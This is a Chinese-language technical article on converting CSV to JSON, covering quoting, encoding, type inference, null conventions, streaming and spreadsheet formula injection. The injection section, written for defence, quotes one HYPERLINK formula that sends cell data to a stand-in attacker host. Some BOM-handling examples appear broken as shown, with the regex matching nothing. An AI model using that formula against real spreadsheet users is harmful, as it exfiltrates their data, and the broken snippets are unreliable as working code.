CSV 必须用真正的解析器处理,不能简单地按逗号 split,因为引号里的逗号、转义引号和字段内换行都是合法数据。转换前先确定空值、数字和日期的表示方式,转换后用 JSON Schema 校验结构。
- CSV 不是单一格式,分隔符、引号、编码和换行都可能不同。
- 引号字段可以包含逗号、转义引号和换行。
- UTF-8 BOM 可能让第一个表头多出一个不可见字符。
- 类型推断是产品决策,不应该由解析器静默猜测。
- CSV 可能包含公式注入,导出给表格软件前要处理。
CSV 看起来很简单,直到某个字段里出现逗号。然后出现引号,引号里又有转义引号,最后字段中间还夹着换行。再加上 BOM 和混合类型,split(",") 就不再是解析器了。
这篇文章讲清规则、常见错误和一套能发现问题的校验流程。
这个格式有欺骗性,因为简单场景确实简单。问题都出在边缘:财务导出的一份文件、用户备注里的一个换行、一列带前导零的 ID。每个边缘情况都有正确答案,但必须明确告诉解析器答案是什么。
CSV 是一族格式,不是单一标准
没有一种 CSV 标准能被所有工具严格遵守。RFC 4180 描述了常见约定,但分隔符、引号、换行和编码会因生成工具而异。
常见差异:
- 逗号、分号或制表符分隔。
- 字段是否加引号。
- 引号的不同转义规则。
- UTF-8、UTF-16 或旧编码。
- 是否有表头。
- 空单元格表示 null、空字符串还是缺失。
转换前先检查文件,确认方言。
分隔符识别是第一道陷阱。欧洲地区的 Excel 可能用分号,因为逗号是小数分隔符;制表符文件不一定带 .tsv 后缀;有些 Excel 文件以一行 sep=; 开头,用来说明分隔符。按第一行猜通常能用,直到某个带引号的字段里逗号比正文分隔符还多,猜测就会翻转。最好向数据生产方确认,或者把分隔符做成转换器的显式参数。
换行和行列形状会造成更安静的错误。RFC 4180 规定 CRLF,Unix 工具却输出 LF,旧 Mac 文件可能用 CR。最后一行没有换行是合法的,而末尾多一个换行,幼稚的解析器可能多产生一条空记录。参差行——字段数比表头少或多——必须有明确策略:拒绝整个文件、补空值,或者收集多余字段。静默丢掉多余字段,就是数据在无声消失。
引号规则
RFC 4180 的常见规则:
- 包含逗号、引号或换行的字段必须加引号。
- 引号字段内部的双引号通过重复一次来转义。
- 不需要引号的字段也可以加引号。
name,note
Mina,"Likes commas, quotes, and line breaks"
Leo,"He said ""hello"""
第二行的 note 是一个字段。第三行的 note 包含字面引号。解析器能处理,split 不能。
split 失败的最小复现:Mina,"Likes commas, quotes, and line breaks" 逻辑上是两个字段,split(",") 却返回四个。生成的 JSON 里 note 变成 "Likes commas,还多出两列装着句子的碎片。如果代码按位置映射,后面每一列都会错位;而行数仍然对得上,简单校验完全发现不了。
未闭合的引号比错列更严重。按 RFC 4180,解析器进入引号字段后会一直读到闭合引号,一个缺失的引号可能把文件剩余部分全部吞成一个值。健壮的转换器应该报错并给出行号和字节偏移,而不是返回一个巨大的字段;同时要有字段大小上限,否则一行坏数据可能在没人注意时分配出几 GB 内存。
转义引号靠重复,不靠反斜杠:"He said ""hi""" 解析后是 He said "hi"。反斜杠转义在其他格式和一些 CSV 方言里很常见,混用两套规则会把值悄悄改坏。用同时包含逗号和引号的值测一遍。
表头和重复列名
第一行通常是表头。问题出现在:
- 没有表头。
- 两列同名。
- 表头包含空格、标点或 BOM。
- 表头是本地化语言,下游却按英文键读取。
要有意识地规范化表头:
function normalizeHeader(value, index) {
const cleaned = value
.replace(/^/, "")
.trim()
.replace(/\s+/g, "_")
.replace(/[^\w]/g, "")
.toLowerCase();
return cleaned || `column_${index + 1}`;
}
检测重复列名并显式报错,不要静默覆盖。
规范化本身也会制造重复。First Name、first_name、First-Name 可能都变成 first_name,清理后为空的表头则回退成 column_3。先生成规范化后的表头列表并检查碰撞,再决定报错还是加后缀区分;同时保留原表头到 JSON 键的映射,方便以后人工审计。
生成 JSON 里的重复键比重复表头更麻烦,因为证据已经被丢掉。多数 JSON 序列化器保留后值,于是第二列悄悄获胜。如果两列都重要,就显式改名;如果其中一列是错误,就拒绝文件并告诉生产方哪几列冲突。
编码和 BOM
UTF-8 BOM 可能成为第一个表头的一部分,生成 name 这样的键,永远匹配不上 name。
const text = rawText.replace(/^/, "");
非 UTF-8 文件要先按正确编码解码再解析。不要让 CSV 解析器猜编码。UTF-16 文件包含大量空字节,猜错会直接产生乱码。
中文导出有一个很实际的坑:中文 Windows 上的 Excel 可能把 CSV 存成 GBK/GB18030,而不是 UTF-8;用 UTF-8 打开就会看到替换字符或乱码,例如 é 变成 é。先按声明或检测到的编码解码,核对几个已知值,再开始解析。编码检测只是启发式猜测,一次猜错就可能毁掉文件里所有非 ASCII 姓名。
换行归一化要在解码之后做,因为引号字段里的 CRLF 是数据,必须原样保留。检查文件开头三个字节是不是 UTF-8 BOM(EF BB BF),只去掉这个精确序列;如果从值中间删掉一个普通的 字符,反而会破坏合法文本。
类型推断
CSV 没有类型,每个单元格都是文本。转 JSON 时必须做决策:
| 单元格 | 可能的 JSON 值 | 风险 |
|---|---|---|
42 | 42 或 "42" | 前导零、ID |
true | true 或 "true" | 大小写和语言 |
2026-11-09 | 字符串或时间戳 | 时区 |
| 空 | null、"" 或缺失 | 必填字段 |
00123 | "00123" 或 123 | 丢失前导零 |
1,234 | "1,234" 或 1234 | 本地化格式 |
先定义 Schema,再显式转换。不要让通用推断把邮编变成数字,或把日期变成本地时区时间戳。
具体边界:00123 如果是工牌号或邮编,必须保持 "00123";9007199254740993 超过 JavaScript 安全整数范围,会静默变成 9007199254740992;1,234 在一种区域设置里是格式化数字,在另一种里是两个值;03/04/2026 在美国是 3 月 4 日,在欧洲大部分地区是 4 月 3 日;TRUE、true、1 都可能表示布尔,但一列 0 和 1 往往只是分类编码。只有按列声明 Schema,这些决策才是显式的。
推断也有性能成本。逐格扫描猜类型会让大文件的工作量翻倍,边缘情况仍然会猜错。Schema 驱动的转换每个值只读一次,坏行可以带着字段级错误被拒绝,而不是被悄悄强转。
空值约定
常见三种写法:
{ "name": "Mina", "note": null }
{ "name": "Mina", "note": "" }
{ "name": "Mina" }
它们并不等价。null 是存在的值,"" 是空字符串,缺失属性表示字段不存在。每个字段选一种约定并写清楚。
约定会影响下游。必填字段是 null 时可能过不了 Schema 校验,而缺失属性可能通过“非必填”检查,随后让假设键一定存在的代码崩溃。表格用户清空单元格,通常意思是“没有值”,但 API 可能把 "" 当成显式空字符串写进数据库。应该按字段决定:身份和度量可能需要 null,自由文本备注可能需要 "",可选关联可能需要省略属性。
嵌套数据
CSV 是扁平的。JSON 需要嵌套对象时,选一种约定:
- 扁平列:
address.city、address.zip。 - JSON 字符串列:在一个单元格里存
{"city":"Berlin"}。 - 规范化多表:父记录和子记录拆成不同文件。
第一种易读但列多;第二种灵活但需要二次解析和校验;第三种最接近关系模型,但转换更复杂。
JSON 字符串列需要护栏:单元格里可能是坏 JSON、可能是对象但 Schema 期望数组、也可能字符串里还套着一层 JSON。必须解析、按嵌套 Schema 校验,并用 address.city 这样的路径让该行失败,而不是接受一个“看起来像结构化数据”的字符串。CSV 层加引号、数据层再加 JSON 引号,等于一个单元格里有两套转义规则;要用同时含引号、逗号和换行的值测试。
扁平化也有碰撞问题。字面列名 address.city 和嵌套对象 { "address": { "city": ... } } 会得到同一个点路径。要明确点是分隔符还是普通字符,并对另一种情况转义或拒绝。规范化多表则需要一个能穿过 CSV 的稳定连接键,优先用显式 ID,而不是按姓名或邮箱匹配。
大文件
把超大 CSV 全部读进内存可能拖垮浏览器或服务端。大文件应该:
- 流式读取行,而不是一次性读完整文件。
- 增量写出 JSON,或输出 NDJSON。
- 先校验样本,再处理全量。
- 设置最大行数和列数。
浏览器端的 CSV 转 JSON 工具 适合常规文件。几 GB 的导出应该用服务端流式处理。
算一下内存就明白原因。1 GB 的 CSV 读进浏览器会变成 JavaScript 字符串,按 UTF-16 可能占 2 GB 以上;再解析成对象数组还会翻倍。标签页通常在几 GB 附近就崩,失败方式是整页崩溃而不是清晰报错。流式解析器内存里只保留一行,增量写出 JSON,并在输出慢于输入时施加背压。消费方能接受 NDJSON 时,干脆不要外层数组,这样也不必先把完整结果攒在内存里。
CSV 注入
表格软件可能把以 =、+、-、@ 开头的单元格当作公式。恶意 CSV 在打开时可能执行公式。
导出给表格软件时:
- 给高风险单元格加单引号前缀。
- 或者拒绝以公式字符开头的单元格。
- 写进文档,避免误伤正常公式。
CSV 编辑工具 可以帮助检查和清理数据,但不要把客户端清理当作安全边界。
危险前缀不只有 =。以 +、-、@ 开头的单元格,以及公式字符前带制表符或回车的单元格,都可能触发同样行为。=HYPERLINK("http://attacker.example/?leak="&A1,"点击") 是典型的数据外带手法。导出给表格软件时要清洗,导入时也要校验,因为不可信来源生成的 CSV 会攻击下游打开它的人。
给每个高风险单元格加单引号前缀会改变单元格内容,也可能破坏正常的负数或公式。先判断文件是给机器的数据,还是给人的工作簿。机器对机器的 CSV 可以拒绝公式前缀或按纯文本处理;面向人的导出则要转义并写清行为。两种用途不该共用一套未经审视的清洗器。
可重复的转换流程
- 确认方言:分隔符、引号、表头、编码。
- 去掉 BOM,规范化表头。
- 用真正的 CSV 解析器解析。
- 应用显式类型映射。
- 确定空值约定。
- 确定嵌套数据表示。
- 转成 JSON。
- 用 JSON Schema 校验工具 校验结构。
- 用 JSON 格式化工具 检查样本。
- 对比行数和几条已知记录。
CSV 转 JSON 工具 可以完成常见文件的 1-7 步。后面的校验步骤,才是防止“看起来成功、实际数据错误”的关键。
要加入输入和输出的对比,而不只是检查输出。JSON 记录数应等于数据行数;列数应等于去重后的表头数;对几条已知记录做排序投影后计算校验和,再和人工核对过的 fixture 比对。流水线还应把源文件哈希、转换器版本、方言和 Schema 版本与输出一起保存,这样以后出现差异时可以复现,而不是争论。
一个实用的抽查预算:看第一行、最后一行,以及所有字段数发生变化的行。首尾能发现截断和表头错误,字段数变化能发现引号和换行问题。数据有自然键时,转换后再查重复键和缺失键,这些往往就是解析器合并行或拆错行的症状。
关于往返转换
CSV → JSON → CSV 不一定无损。引号风格、数字格式、日期和空值都可能变化。如果 CSV 是外部契约,保留原始文件,不要在没有控制两端的情况下反复往返。
具体会丢什么:带引号的字段回来时可能没有引号,CRLF 变成 LF,00123 变成 123,1.20 变成 1.2,被解析成本地日期的值可能换一种格式或时区返回,末尾空行可能多出来也可能消失。两端对 Schema 和规范输出格式有共识时,往返是安全的;文件是别人工具里的任意导出时,往返就不安全。
CSV 是用隐式约定表达文本,JSON 用显式结构表达数据。转换就是把约定变成代码的过程,所以每个决策都应该可见。
常见问题
为什么 split(',') 解析 CSV 会出错?
引号里的逗号是数据,不是分隔符。split(',') 无法区分两者,也会在转义引号和字段内换行处出错。应该使用遵循 RFC 4180 或实际方言的 CSV 解析器。
CSV 里的引号怎么转义?
常见规则是用双引号包裹字段,并把字段内部的双引号写成两个双引号。例如 He said "hi" 会变成 "He said ""hi"""。不同工具可能使用不同方言,转换前要确认来源。
数字和布尔值要转成 JSON 类型吗?
只有 Schema 明确要求时才转。邮编、电话号码和账号看起来像数字,但必须保持字符串。转换前定义好类型映射,转换后校验结果。
空单元格应该转成什么?
先决定空单元格表示 null、空字符串还是缺失字段。三者含义不同:null 是存在的值,空字符串是长度为 0 的字符串,缺失字段表示属性不存在。每个字段选定一种约定并写进文档。
CSV 能表示嵌套对象吗?
不能直接表示。可以把嵌套字段扁平化成多列,把嵌套值编码成 JSON 字符串,或者拆成多张关联表。选一种约定并保持一致。